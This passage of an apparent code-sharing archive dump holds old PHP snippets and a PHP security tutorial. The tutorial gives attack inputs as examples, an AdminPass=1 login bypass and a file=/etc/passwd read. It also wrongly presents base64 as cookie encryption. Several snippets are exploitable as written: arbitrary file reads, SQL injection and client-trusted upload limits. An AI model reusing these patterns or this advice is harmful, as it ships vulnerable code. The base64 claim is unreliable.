($fp);\t\n?>"},{"WorldId":8,"id":444,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":456,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":458,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":460,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":462,"LineNumber":1,"line":"<?PHP\n//import the php-gtk library file (dll (win))\n \ndl('php_gtk.dll');\n// define variables\n // window\n$window =&new GtkWindow();\n$window->set_title(\"Messenger\");\n //button\n$bt=&new GtkButton(\"Send value\");\n$bt2=&new GtkButton(\"Kill Me!\");\n //layout\n$adj=&new GtkAdjustment(0,0,400,400,400,400);\n$lt=&new GtkLayout($adj,$adj);\n // TextField\nglobal $fld;\n$fld= &new GtkEntry();\n\n//functions\nfunction get_value($bt,$window){\n global $fld;\n $str=$fld->get_text();\n echo\"Your input:$str\";\n }\n//element properties\n$bt->connect(\"clicked\",\"get_value\", $window);\n$bt2->connect_object('clicked', array('gtk', 'main_quit'));\n//Layout positon\n$lt->put($fld,1,1);\n$lt->put($bt,50,50);\n$lt->put($bt2,50,100);\n\n//window show\n$window->add($lt);\n$window->show_all();\nGtk::Main();\n?>"},{"WorldId":8,"id":463,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":465,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":466,"LineNumber":1,"line":"// Check to make sure email address is valid\nfunction funcCheckEmail($sEmailAddress)\n{\n // Regex of valid characters\n $sChars = \"^[A-Za-z0-9\\._-]+@([A-Za-z][A-Za-z0-9-]{1,62})(\\.[A-Za-z][A-Za-z0-9-]{1,62})+$\";\n // Check to make sure it is valid\n $bIsValid = true;\n if(!ereg(\"$sChars\",$sEmailAddress))\n {\n $bIsValid = false;\n }\n return $bIsValid;\n}"},{"WorldId":8,"id":468,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":479,"LineNumber":1,"line":"This is my first contribution in the form of a PSC tutorial, so please bear with me. In this tutorial I am going to discuss security as it relates to protecting your PHP scripts from preying eyes, as well as protecting your system and your web pages from would-be assailants. This tutorial walks through some exploits regarding PHP, as well as fixes for them. This article, this site, or I do not condone using any of this knowledge in a devious or malicious manner. \nThe rest of this tutorial will be laid out in the following sections: \n\t1. PHP and Security\n\t2. Site Defacement\n\t3. Externally working with variables\n\t4. File Access\n\t5. Encryption\n\t6. Cookie Encryption\n\t7. Protecting Scripts\n\t8. One-way Password Authentication\n<h3>Section 1: PHP and Security</h3> \nWhile most of the world focuses on crackers gaining access to websites from bugs in the web server amongst other things, the major flaws that simply running PHP on your system can cause go unnoticed. Most new PHP users, and probably some veteran ones, don't fully understand the holes that can be readily opened by a single ill-written PHP script. You may think opening a local file on your system is secure, but is it? We'll explore this and other exploits later in this tutorial.\nPHP is a very forgiving language, and with this (if not because of it), it is very easy to design PHP programs that have bugs or undesirable consequences. Bugs are easier to implement in PHP programs mainly because of the way it handles variables. Not only can different types of variables be loosely assigned to one another, but also PHP doesn’t really care where a variable has come from, which leads to large security holes.\n<h3>Section 2: Site Defacement</h3> \nSite defacement is a common occurrence on the Internet. Site defacement is where a person, by various means, is able to edit the HTML code of a web page and use it to display their own content. This attack is usually more embarrassing than it is harmful, but this is not always the case. A person with access to the source of a web page can do obvious things like link to URLs containing malicious software or not-so-obvious things such as display false statements on a company’s website, thus embarrassing the organization and possibly ruining its reputation.\nSite defacement is just one of the many threats web server administrators have to deal with every day that they run their site, but it is also one of the most common. You may be surprised to learn just how easy it is to set yourself up for site defacement in PHP.\nPHP is commonly used to develop guest books, web bulletin boards, or just about anything else that requires some form of input from users. This is where most people get into trouble. Examine the following piece of hypothetical code:\n\n\t<? \n\t print(“$MsgAuthor[27] ”); \n\t print(“$MsgDate[27] ”); \n\t print(“$MsgSubject[27] ”); \n\t print(“$MsgBody[27] ”); \n\t?> \nThis code, taken from a bulletin board, sends the Author name, Date, Subject, and Body of the 27th entry to anyone that clicks on the link to it. This code will function perfectly; in fact, it will do exactly what you want it to. But what you want is probably not what is best. Suppose that when the person who originally created the 27th entry he put some HTML code of his own in $MsgBody. What will happen to the next person who reads that message? Basically, whatever the creator wanted. It could be anything from displaying harmless images to malicious things such as repetitive loading of java script pop-up windows.\nThere are instances where you would users to be able to enter HTML into their message bodies, but I don’t. (And since I am writing this tutorial, you have to go along). In case you don’t want to allow this either, PHP provides you with a function that will take care of this problem for you. Let’s take a look at it:\n\n\t<? \n\t print(“$MsgAuthor[27] ”); \n\t print(“$MsgDate[27] ”); \n\t print(“$MsgSubject[27] ”); \n\t print(htmlspecialchars($MsgBody[27]) . “ ”); \n\t?> \nThe htmlspecialchars() function strips all of the HTML parsing symbols (<, >, &) and replaces them with their equivalents as html entities (< > &). This prevents the execution of any HTML you don’t want.\nIn addition to the htmlspecialchars() function there is also a htmlentities() function that will strip out all special characters and replace them with their respective HTML entity equivalents.\nThis does not fix all possibilities for site defacement, but it fixes a major one within PHP that not many people seem to know exist.\n<h3>Section 3: Externally Working With Variables</h3> \nThis is a large issue with PHP and can have an even larger number of results depending on what the script does. This flaw relies on the fact that variables in PHP do not need to be defined, and can be created directly from the URL. Examine the following piece of code:\n\n\t<? \n\t If ($Password == “root”) { \n\t $AdminPass = TRUE; \n\t } \n \n\t If ($AdminPass == TRUE) { \n\t print(“Welcome to the system. Enjoy yourself.”); \n\t } else { \n\t print(“Password refused. Try again.”); \n\t return; \n\t } \n \n\t?> \nWhat’s wrong with this script? Besides the fact that it is poorly written, nothing is wrong with it, right? PHP will still interpret and execute this script. If we were to hypothetically assume that $AdminPass contains whether the administrator password was accepted or not, it appears fine. Now lets pretend that this script is entitled “admin.php” and was called from the URL: http://www.thesite.com/admin.php?AdminPass=1. What happens? You can bypass the test and access the site without even having to enter a password.\nNow remind yourself that this is a purely hypothetical situation and that hopefully no one would write such a script. But the fact that variables can be set from the URL string is quite dangerous and can have completely unexpected and unintended results that your program isn’t prepared to handle.\nIn the above example, there isn’t a good way to check whether or not the variable is set with the URL string or not, but by using explicit type checking you can usually predict if it is a variable you had defined or came from an external source. A good method to try is the “===” operator which checks if the arguments are equal to each other and are of the same type. The “===” operator makes sure that the values are the same and that PHP identifies them as the same type. This prevents expressions like “TRUE == 1” from returning a TRUE value.\nWhat if the $AdminPass was set to TRUE in the URL string though? It would match even with specific type checking. The best solution to the above problem is to initialize all of the used variables in our PHP script to a null value.\n\n\t<? \n\t $AdminPass = FALSE; \n \n\t If ($Password == “root”) { \n\t $AdminPass = TRUE; \n\t } \n \n\t If ($AdminPass == TRUE) { \n\t print(“Welcome to the system. Enjoy yourself.”); \n\t } else { \n\t print(“Password refused. Try again.”); \n\t return; \n\t } \n\t?> \nIn the above example $AdminPass was initialized to FALSE as no operations have yet to be performed on it and we know that changing its value at the beginning of our program will not affect the results of the script. If there was a URL string variable supplied as $AdminPass, it will be cleared and set to FALSE, fixing a large hole.\n<h3>Section 4: File Access</h3> \nThere are a number of holes in PHP when it is used to access files. One of the most devious is using the external variable method described above in conjunction with a script that supposedly opens “safe” files. \nIn browsing the World Wide Web you have undoubtedly come across URLs that are formed like this: www.thesite.com/loadpicture.php?file=butterfly.jpg. It’s obviously a script that is used to load pictures, and it is calling the file “butterfly.jpg” to load. What’s so wrong with this? Nothing as long as you know exactly what files this script can call. What if some malicious person were to edit that URL and replace it with “file=/etc/passwd”? If you are unlucky enough to allow access to /etc/passwd your password file has now been sent out over the Internet. Good work.\nThe unfortunate solution to this hole is that there isn’t really a good one. Included with PHP is a configuration known as open_basedir which allows you to specify which directories your PHP scripts can access, but if you intend to work with password files or any sensitive data you must be able to access it to use it, and therefore the file must be within one of the specified directories. Note that open_basedir is still a valid option to protect parts of your system which you have no need to access. For the rest of your system, however, we must use encryption.\n<h3>Section 5: Encryption</h3> \nEncryption. It’s the buzzword of the Internet recently. If you aren’t encrypting all of your web traffic, e-mail messages, telnet sessions, and about everything else you use online, you just aren’t cool anymore. Seriously though, encryption is a highly valuable tool, especially if you are dealing with important things like password files.\nEncryption is the process of taking a file, usually referred to as plaintext, and encrypting that file into an unrecognizable form known as ciphertext. Decrypting the file backwards from cipher to plaintext usually requires a key of some sort. Without the key it is very difficult to reconstruct the original plaintext message.\nThere are two main categories of encryption: one-way and two-way. A two-way encryption scheme will allow the encryption and decryption of text and usually requires some form of key. A one-way encryption scheme will only encrypt data and, having no key to decrypt it, will remain that way. One-way encryption is typically used for password files because it is more secure to simply encrypt attempted passwords and compare the encrypted version against encrypted passwords already inside the password file.\nPHP will often gracefully handle this task for you, but you must remember that if you use a two-way password encryption scheme, the encrypted file is only as safe as the access to your decryption routines. A better way to handle encryption, and one that is commonly used to encrypt the /etc/passwd file on Unix, is one-way encryption. PHP allows for this form of encryption in it’s crypt() function.\n<h3>Section 6: Cookie Encryption</h3> \nThe biggest proponent of cookies is commercial websites, though this isn’t always the case. Whether you are using a cookie to keep track of someone’s buying habits, or just to more specifically tailor your site to fit their personal needs, your cookies should always be encrypted.\nIf you do not encrypt your cookies they are viewable as plain text by the user and thus, he or she can then easily modify the cookie’s data. Not only can this have bad results for your site, as PHP automatically loads cookies into variables (and thus their modifications), but they could LIE to you about their buying habits or their household income, now isn’t that terrible?\nSeriously now, the main flaw is that the modified cookies are automatically loaded into PHP and have basically the same effect as creating variables from the URL string (shown in Section 3). If you don’t encrypt your cookies your PHP program must be set up to distinguish variables that you set from variables that the user may set by modifying their cookies, it’s not an easy task.\nCookie encryption is as easy as:\n\n\t<? \n\t setcookie(base64_encode($cookie)); \n\t?> \nThat’s it. Using the built-in base64_encode() function, the cookie will be encrypted before being sent to the user. It’s such an easy hole to fix; it’s amazing that not more people do. Using just the base64_encode() function should provide sufficient security, but if someone were to know what method you had used to encrypt it, decrypting it would be as easy as loading the cookie into PHP and running base64_decode(). If you handle highly sensitive data with cookies and want better security, there are other encryption functions you can use that are supplied by PHP.\n<h3>Section 7: Protecting Scripts</h3> \nUnfortunately there isn’t a lot you can do to protect your script from people who have physical access to your system. The scripts must be readable or else the web server will not be able to load them, meaning that anyone who has security clearance at or above the level of the web server can potentially access your scripts. This is rather dangerous because anyone who has access to your scripts can see how you have encrypted your scripts, see where you store the passwords, modify the scripts content, and do basically whatever they want to them. The good news to this, however, are that the chances of your script being released by the web server are slim, and doubly so if you have installed PHP as a module.\n<h3>Section 8: One-way Password Authentication</h3> \nWhen a script works with passwords unfortunately it is common to see some of them work like this (Note that the decrypt() function is not a PHP function, but merely a hypothetical representation of some user-created functions): \n\n\t<? \n\t $userpass = decrypt($userpass); \n\t if ($attemptedpass == $userpass) { \n\t print(“Welcome to the system.”); \n\t } else { \n\t print(“Wrong. Try again.”); \n\t } \n\t?> \nThe problem with the script is that you decrypt the password at all. The decrypted version of the users password is stored in memory, even if only temporarily, and is being passed around inside your script. It is not safe. A much safer version of this is to use one-way encryption to compare the passwords. \nCompare the above script with this one:\n\n\t<? \n\t If(crypt($attemptedpass) == $userpass) { \n\t print(“Welcome to the system.”); \n\t } else { \n\t print(“Wrong. Try again.”); \n\t } \n\t?> \nThis script is much safer. The attempted password is encrypted, and if it is the same as the $userpass, the encrypted versions of both will match. This makes sure that no unencrypted passwords are being passed around throughout your PHP script.\n---\nThat’s the end of the tutorial. If you had the stomach to read this much of my writing, and liked it, vote for it. :)\n-Richard J. Silvers\n"},{"WorldId":8,"id":485,"LineNumber":1,"line":"THIS FILE SHOULD BE NAMED (ircBot.php)\n<?\t\n // this is the base class. do NOT \n // instatiate this. you need to write\n // a class to derive from it and implement\n // a constructor and override all of the\n // on_ functions. An example of a derived\n // runnable bot is listed beneath.\n\tclass IRC_Bot {\n \tvar $nick; \n \tvar $username;\t\t\n\t\tvar $description;\n\t\tvar $localhost;\n\t\tvar $remotehost;\n\t\tvar $remoteport;\n\t\tvar $echoincoming;\n\t\tvar $ircsocket;\n\t\tfunction IRC_Bot() { \n\t set_time_limit(0);\n\t\t\tob_end_flush();\n\t\t\techo \"\\r\\n\";\n\t\t}\n\t\tfunction bot_connect () {\n\t\t\t// connect to IRC server\n\t\t\t$this->ircsocket = fsockopen ($this->remotehost, $this->remoteport) ;\n\t\t\tif (! $this->ircsocket) {\n\t\t\t\tdie (\"Error connecting to host.\");\n\t\t\t}\n\t\t\tprint \"Connected to: $this->remotehost:$this->remoteport\\n\";\n\t\t\tfputs ($this->ircsocket, \"USER $this->username $this->localhost $this->remotehost: $this->description\\r\\n\");\n\t\t\tfputs ($this->ircsocket, \"NICK $this->nick\\r\\n\");\n\t\t}\n\t\tfunction bot_go () {\n\t\t\t// IRC loop\n\t\t\twhile (!feof($this->ircsocket)) {\n\t\t\t\t$incoming = fgets ($this->ircsocket, 1024);\n\t\t\t\t$incoming = str_replace( \"\\r\", \"\", $incoming);\n\t\t\t\t$incoming = str_replace(\"\\n\", \"\", $incoming);\n\t\t\t\tif ($this->echoincoming) echo $incoming . \"\\n\";\n\t\t\t\tif (substr($incoming, 0, 1) == \":\") {\n\t\t\t\t\t$prefix = substr ($incoming, 0, strpos($incoming, ' ')); \n\t\t\t\t\t$incoming = substr ($incoming, strpos($incoming, ' ') + 1);\n\t\t\t\t} else {\n\t\t\t\t\t$prefix = \"\";\n\t\t\t\t}\n\t\t\t\t$command = substr ($incoming, 0, strpos($incoming, ' '));\n\t\t\t\t$incoming = substr ($incoming, strpos($incoming, ' ') + 1);\n\t\t\t\t$params = explode (\" \", $incoming);\n\t\t\t\tif ($command == \"PING\") fputs($this->ircsocket, \"PONG\\r\\n\");\n\t\t\t\t$this->bot_parse ($prefix, $command, $params);\n\t\t\t}\t\t\n\t\t\tfputs($this->ircsocket, \"QUIT Unexpected\\r\\n\");\n\t\t}\n\t\t\n\t\tfunction bot_parse ($prefix, $command, $params) {\n\t\t\tif ($command == \"PRIVMSG\") {\n\t\t\t\t$nick = substr ($prefix, strpos($prefix, \":\") + 1, strpos($prefix, \"!\") - 1);\n\t\t\t\t$ident = substr ($prefix, strpos($prefix, \"!\"));\n\t\t\t\t$target = array_shift ($params);\n\t\t\t\t$params[0] = substr ($params[0], 1);\n\t\t\t\tif (substr($target, 0, 1) == \"#\") {\n\t\t\t\t\t$this->on_channel_msg ($nick, $ident, $target, $params);\n\t\t\t\t} else {\t\t\t\t\n\t\t\t\t\t$this->on_private_msg ($nick, $ident, $params);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($command == \"NOTICE\") {\n\t\t\t\t$nick = substr ($prefix, strpos($prefix, \":\") + 1, strpos($prefix, \"!\") - 1);\n\t\t\t\t$ident = substr ($prefix, strpos($prefix, \"!\"));\n\t\t\t\tarray_shift ($params);\n\t\t\t\t$params[0] = substr ($params[0], 1);\n\t\t\t\t$this->on_notice ($nick, $ident, $params);\n\t\t\t}\n\t\t}\n\n\t\t////////////////////////////////////////////////////\n\t\t//\t\t\t\tIRC FUNCTIONS (call these to perform various irc tasks.)\t //\n\t\t////////////////////////////////////////////////////\n\t\tfunction irc_write ($message) {\n\t\t\tfputs ($this->ircsocket, $message . \"\\r\\n\");\n\t\t}\n\t\t\n\t\tfunction irc_join ($channel) {\n\t\t\t$this->irc_write(\"JOIN $channel\");\n\t\t}\n\t\tfunction irc_part($channel) {\n\t\t\t$this->irc_write(\"PART $channel\");\n\t\t}\n\t\tfunction irc_quit ($reason) {\n\t\t\t$this->irc_write(\"QUIT :$reason\");\n\t\t}\n\t\tfunction irc_notice ($user, $message) {\n\t\t\t$this->irc_write(\"NOTICE :$message\");\n\t\t}\n\t\t\n\t\tfunction irc_msg ($user, $message) {\n\t\t\t$this->irc_write(\"PRIVMSG $user :$message\");\n\t\t}\n\t\tfunction irc_action ($user, $message) {\n\t\t\t$this->irc_write (\"PRIVMSG $user :\" . chr(1) .\"ACTION $message\");\n\t\t}\t\t\n\t\tfunction irc_mode ($channel, $user, $mode) {\n\t\t\t$this->irc_write (\"MODE $channel $mode $user\");\n\t\t}\n\t\tfunction irc_op ($channel, $user) {\n\t\t\t$this->irc_mode ($channel, $user, \"+o\");\n\t\t}\n\t\tfunction irc_deop ($channel, $user) {\n\t\t\t$this->irc_mode ($channel, $user, \"-o\");\n\t\t}\n\n\t\t\n\t\t////////////////////////////////////////////////////\n\t\t//\t\t\t\tIRC EVENTS (override these in your derived class.)\t\t\t\t //\n\t\t////////////////////////////////////////////////////\n\t\t\n\t\tfunction on_private_msg ($nick, $ident, $params) {\n\t\t}\n\t\t\n\t\tfunction on_channel_msg ($nick, $ident, $chan, $params) {\n\t\t}\t\t\n\t\tfunction on_notice ($nick, $ident, $params) {\n\t\t}\n\t\t\n\t\t\n\t}\n ?>\n\n\n\n\nPUT ALL THIS IN A DIFFERENT FILE (silverbot.php):\n<?\n // this is an example of a runnable \n // derived bot. run this file at the\n // commandline. DO NOT run it as a\n // web document. it will hang in memory\n // you have been warned.\n\tdefine (\"BOT_PASSWORD\", \"fruitloops\");\n\tinclude (\"ircbot.php\");\n\n\tclass Silver_Bot extends IRC_Bot {\n\t\tfunction Silver_Bot ($n = \"HBSilver\", $r = \"irc.dal.net\", $p = 6667, $e = true, $d = \"Hobbit Bot Silver\", $u = \"HBSilver\", $l = \"localhost\") {\n\t\t\t$this->IRC_Bot();\n\t\t\t$this->nick = $n;\n\t\t\t$this->username = $u;\n\t\t\t$this->description = $d;\n\t\t\t$this->localhost = $l;\n\t\t\t$this->remotehost = $r;\n\t\t\t$this->remoteport = $p;\n\t\t\t$this->echoincoming = $e;\n\t\t}\n\t\t\n\t\tfunction on_notice ($nick, $ident, $params) {\n\t\t\t$password = array_shift ($params);\n\t\t\tif ($password == BOT_PASSWORD) {\n\t\t\t\t$command = array_shift ($params);\n\t\t\t\tswitch ($command) {\n\t\t\t\tcase \"JOIN\":\n\t\t\t\t\t$this->irc_join ($params[0]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"PART\":\n\t\t\t\t\t$this->irc_part ($params[0]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"QUIT\":\n\t\t\t\t\t$this->irc_quit (join($params, \" \"));\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"MSG\":\n\t\t\t\t\t$user = array_shift ($params);\n\t\t\t\t\t$this->irc_msg($user, join($params, \" \"));\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"OP\":\n\t\t\t\t\t$this->irc_op($params[0], $params[1]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"DEOP\":\n\t\t\t\t\t$this->irc_deop($params[0], $params[1]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"ACTION\":\n\t\t\t\t\t$user = array_shift ($params);\n\t\t\t\t\t$this->irc_action($user, join($params, \" \"));\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->irc_msg($nick, \"You are not my master.\");\n\t\t\t}\n\t\t}\n\t}\n\t// this instantiates a new silverbot\n // and gets it going. \n\t$mysilver = new Silver_Bot(\"HBSilver\", \"irc.dal.net\");\n\techo $mysilver->bot_connect();\n\techo $mysilver->bot_go();\n?>"},{"WorldId":8,"id":489,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":492,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":493,"LineNumber":1,"line":"<?php\n/*\n This is a simple Demo, on how to parse an PAD File,\n and get the Infos you need. When you use this function\n for your own script, leave credits in it for me.\n This Code is written by Thorsten Sanders from\n http://www.php-coding.org\n To test it, just start the script with,\n http://yourdomain.com/parser.php?file=http://www.padfile.com/pad.xml\n for example, you can read local files as well\n*/\nif ($file==\"\"){\n print \"You must enter the URL of the PAD File!\";\n die;\n}\nif(!stristr($file,\".xml\")){\n Print \"That file is not an PAD File!\";\n die;\n}\nfopen($file,\"r\") or die(\"PAD File not found!\");\nfunction kriegen($suchwort1,$suchwort2){\nglobal $file;\n$fp=fopen($file,\"r\");\n$gefunden=0;\nwhile (!feof($fp)) {\n $buffer = fgets($fp, 4096);\n if(@stristr($buffer,\"<$suchwort1>\")){\n $gefunden=1;\n }\n if ($gefunden==1){\n if(@stristr($buffer,\"<$suchwort2>\")){\n $ausgabe = trim(strip_tags($buffer));\n return $ausgabe;\n break;\n }\n}\n}\nfclose($fp);\n}\n$progname = kriegen(\"Program_Info\",\"Program_Name\");\n$downloadurl = kriegen(\"Download_URLs\",\"Primary_Download_URL\");\n$progver = kriegen(\"Program_Info\",\"Program_Version\");\n$dateigroesse = kriegen(\"File_Info\",\"File_Size_K\");\n$hpurl = kriegen(\"Company_Info\",\"Company_WebSite_URL\");\n$beschreibung = kriegen(\"German\",\"Char_Desc_450\");\nif ($beschreibung == \"\"){\n $beschreibung = kriegen(\"German\",\"Char_Desc_250\");\nif ($beschreibung == \"\"){\n $beschreibung = kriegen(\"German\",\"Char_Desc_80\");\nif ($beschreibung == \"\"){\n $beschreibung = kriegen(\"German\",\"Char_Desc_40\");\nif ($beschreibung == \"\"){\n $beschreibung = kriegen(\"German\",\"Char_Desc_2000\");\n}}}}\nif ($beschreibung == \"\"){\n $beschreibung = kriegen(\"English\",\"Char_Desc_450\");\nif ($beschreibung == \"\"){\n $beschreibung = kriegen(\"English\",\"Char_Desc_250\");\nif ($beschreibung == \"\"){\n $beschreibung = kriegen(\"English\",\"Char_Desc_80\");\nif ($beschreibung == \"\"){\n $beschreibung = kriegen(\"English\",\"Char_Desc_40\");\nif ($beschreibung == \"\"){\n $beschreibung = kriegen(\"English\",\"Char_Desc_2000\");\n}}}}}\n$progstatus = kriegen(\"Program_Info\",\"Program_Type\");\n$progsprache = kriegen(\"Program_Info\",\"Program_Language\");\nif ($progsprache == \"German\"){\n $progsprache = \"d\";\n}elseif($progsprache == \"English\"){\n $progsprache = \"e\";\n}elseif($progsprache == \"English,German\" or $progsprache == \"German,English\"){\n $progsprache = \"b\";\n}else{$progsprache = \"\";}\n$progpreis = kriegen(\"Program_Info\",\"Program_Cost_Other\");\nif ($progpreis == \"\"){\n $progpreis = kriegen(\"Program_Info\",\"Program_Cost_Dollars\"). \" $\";\n}\n$email = kriegen(\"Contact_Info\",\"Author_Email\");\nif ($email == \"\"){\n $email = kriegen(\"Contact_Info\",\"Contact_Email\");\n}\n//Sollten alle variablen leer sein, wird das Script abgebrochen\nif ($progname and $downloadurl and $progver and $dateigroesse and $hpurl and $beschreibung and $progstatus and $progsprache and $progpreis and $email == \"\"){\n print \"Error\";\n die;\n}\nprint $progname;\nprint \" \";\nprint $progver;\nprint \" \";\nprint $progstatus;\nprint \" \";\nprint $progpreis;\nprint \" \";\nprint $beschreibung;\nprint \" \";\nprint $progsprache;\nprint \" \";\nprint $dateigroesse;\nprint \" \";\nprint $downloadurl;\nprint \" \";\nprint $hpurl;\nprint \" \";\nprint $email;\n?>"},{"WorldId":8,"id":500,"LineNumber":1,"line":"\n<div align=\"center\">Looping Through $HTTP_GET_VARS and $HTTP_POST_VARS</div>\n\nQuick Associative Array Overview\n\nFirst off, to understand how to use these variables, you must understand what an associative array is. If you already know, then you can skip this part.\nAn associative array is simply an array who's key is not a number (i.e. $myArray[0], $myArray[1], etc.) but a word, as it were. For instance, if I have an associative array named \"$myAssoc\" who's values are the persons last name, and the keys are their first names, then it would look like this. \n$myAssoc[\"charles\"] = \"chadwick\"; \nwhere \"charles\" is the key (like 0, 1, etc) and \"chadwick\" is the value. \n\nIf you want a better explanation of this, I suggest reading the associative array information in the PHP manual found at www.php.net.\nReading Variables Passed Through GET and POST\nFor this example, I am going to use a standard while() loop to help us traverse through the associative array and read both it's keys and values. This will, as I am sure you are aware, execute until such time as there are no more keys to be read. So our first bit of code will use not only the while() statement, but two others, list() and each(). List() is used to assign a list of variables specified values in one operation. The each() function will pull a key and a value out of an array, and then advance the pointer to the next element in the array. So the first part of the code will look like so.\n\nwhile(list($key, $value) = each($HTTP_GET_VARS))\n\nThis code is basically using the list function to assign information to our $key and $value variables, which is coming from the each() function. Then all we need to do is echo this information out to our page.\n\nwhile(list($key, $value) = each($HTTP_GET_VARS)) \n{ \n\techo \"$key = $value(br)\"; \n} \n \n\nNOTE: At the end of my echo statement, I have put parens () around my HTML line break because it won't display on this page otherwise. If you are using this code on a site, make sure to replace the parens with actual HTML opening and closing brackets. Also note that both the equal sign and the HTML line break are NOT necassary in this code.\n\n\n\nLet's say that our url is this: \n\nwww.myhomepage.com/test.php?var1=one&var2=two&var3=three&var4=four\n\n\n\nThis is the GET method. Our variables are \"var1\", \"var2\", \"var3\", and \"var4\". Their respective values in this example are \"one\", \"two\", \"three\", and \"four\". If we pass this along to a page that has our code on it, then the output would be like so:\n\n\nvar1 = one \nvar2 = two \nvar3 = three \nvar4 = four \n\n\nIf we are using the POST method, with the same variables, we would have the same output. However, you would need to use the $HTTP_POST_VARS variable. \n\n\nNOTE: If you are using these, or any other predefined PHP variables in a function, you must declare them as global inside the function or this won't work. \nThat's it. This is pretty much beginner information, but I went for a while without realizing that this could be done, and it caused me to spend a lot more time coding than need be."},{"WorldId":8,"id":505,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":512,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":520,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":523,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":524,"LineNumber":1,"line":"<?\nfunction incCount($site){\n $content = file(\"counter.dat\");\n $fp = fopen(\"counter.dat\", \"w\");\n $i = 0;\n for(; $i < count($content); $i++) {\n $parts = explode(\":\", trim($content[$i]));\n if ($parts[0] == $site) {\n $num = $parts[1] + 1;\n fwrite($fp, $parts[0].\":\".$num.\"\\n\");\n }\n else {\n fwrite($fp, trim($content[$i]).\"\\n\");\n }\n }\n fclose ($fp);\n return $num;\n}\nfunction getCount($site){\n $content = file(\"counter.dat\");\n $yes=false;\n $i = 0;\n for(; $i < count($content); $i++) {\n $parts = explode(\":\", trim($content[$i]));\n if ($parts[0] == $site) {\n return $parts[1];\n }\n }\n}\n?>"},{"WorldId":8,"id":528,"LineNumber":1,"line":"<?php \n# To count the files displayed\n$count = 0;\n# open the directory you want to use\n$directory = opendir(\".\");\n# Gather the files, and put them in a array\nwhile( $file = readdir( $directory ) )\n{\n$file_array[] = $file;\n}\n# Blockquote used for displaying purposes\necho\"<blockquote> \";\n# Tell php if it finds a directory to \n# skip over it\nforeach( $file_array as $file )\n{\nif( $file == \"..\" || $file == \".\" )\n{\ncontinue;\n}\n\t\t\t\n# Regular expression statement to only echo\n# back files with a .php extendtion\n# the '.php$' tells the Regular expression statement to \n# only return files with the .php extendion at the end\nif( !ereg( \".php$\", $file ) )\n{\t\ncontinue;\n}\n# Display the file with a link\necho\"ΓÇó <a href=\\\"\\php/$file\\\">$file</a> \";\n# Count the file that was displayed\n$count++;\n}\necho\"</blockquote>\";\n# Display Number of files that were displayed\necho\"There are $count valid Php Files In the Test Directory\";\n#close thedirectory you used\nclosedir($directory);\t\n?>"},{"WorldId":8,"id":530,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":531,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":533,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":534,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":539,"LineNumber":1,"line":"\n<?php\n $found = \"false\";\n $filename = \"count.inc\";\n if (file_exists ($filename))\n {$fp = fopen($filename,\"r+\");}\n else{$fp = fopen($filename,\"w\");}\n $offset = 0;\n $cnt = 1;\n while ($row = fgets($fp,4096)) {\n $cols = explode(\";\",$row);\n if ($cols[0] == $HTTP_SERVER_VARS[\"REMOTE_ADDR\"]){\n $cols[1]++; // increase counter;\n $cnt = $cols[1];\n $cols[3] = date(\"M/d/Y_H:i:s\"); //save hour minute seconds _ month date year\n fseek($fp,$offset);\n fputs($fp,implode(\";\",$cols));\n $found = \"true\";\n }\n $offset = ftell($fp);\n }\n if ($found==\"false\"){\n $cols = array($HTTP_SERVER_VARS[\"REMOTE_ADDR\"],1,date(\"M/d/Y_H:i:s\"),date(\"M/d/Y_H:i:s\"),\"\\n\");\n fputs($fp,implode(\";\",$cols));\n }\n fclose($fp);\n?>\n\n<HTML>\n<HEAD><TITLE>IP Logger</TITLE></HEAD>\n<BODY BGCOLOR=\"#000000\">\n\nYOUR IP ADDRESS : <?php echo $HTTP_SERVER_VARS[\"REMOTE_ADDR\"].\" \"; ?>\nYou've been hit this site <?php echo $cnt;?> times \nsince <?php echo eregi_replace(\"_\",\" at \",$cols[2]);?>. \nLast time I saw you : <?php echo eregi_replace(\"_\",\" at \",$cols[3]);?>.\n \nVote Me! if you like this code.\n\n</BODY>\n</HTML>\n"},{"WorldId":8,"id":543,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":549,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":551,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":554,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":561,"LineNumber":1,"line":"***upload.html***\n<html>\n<head>\n</title></title>\n</head>\n<body>\n<form name=form1 action=upload.php method=post enctype=multipart/form-data>\n<input type=file name=FileToUpload>\n<input type=hidden name=MaxFileSize value=64000>\n</form>\n</body>\n</html>\n\n***upload.php***\n<?php\nif ($FileToUpload_type == 'image/gif') {\n$type = '.gif';\n}\nif ($FileToUpload_type == 'image/pjpeg') {\n$type = '.jpg';\n}\nif ($FileToUpload_type == 'image/x-png') {\n$type = '.jpg';\n}\n$newfile = substr($FileToUpload, -9);\nif($FileToUpload_name = '') {\nprint(\"No file was selected!\");\n}\nelseif($FileToUpload_size > $MaxFileSize) {\nprint(\"The file to upload is too big\");\n}\nelse {\n$global_db = mysql_connect('localhost', 'User', 'Password');\nmysql_select_db('DBName', $global_db) or die(\"Connection error\");\n$query = \"INSERT INTO Filetable (File) VALUES ('$newfile$type')\";\n$result = mysql_query($query) or die(\"ERROR\");\nmove_uploaded_file($FileToUpload, 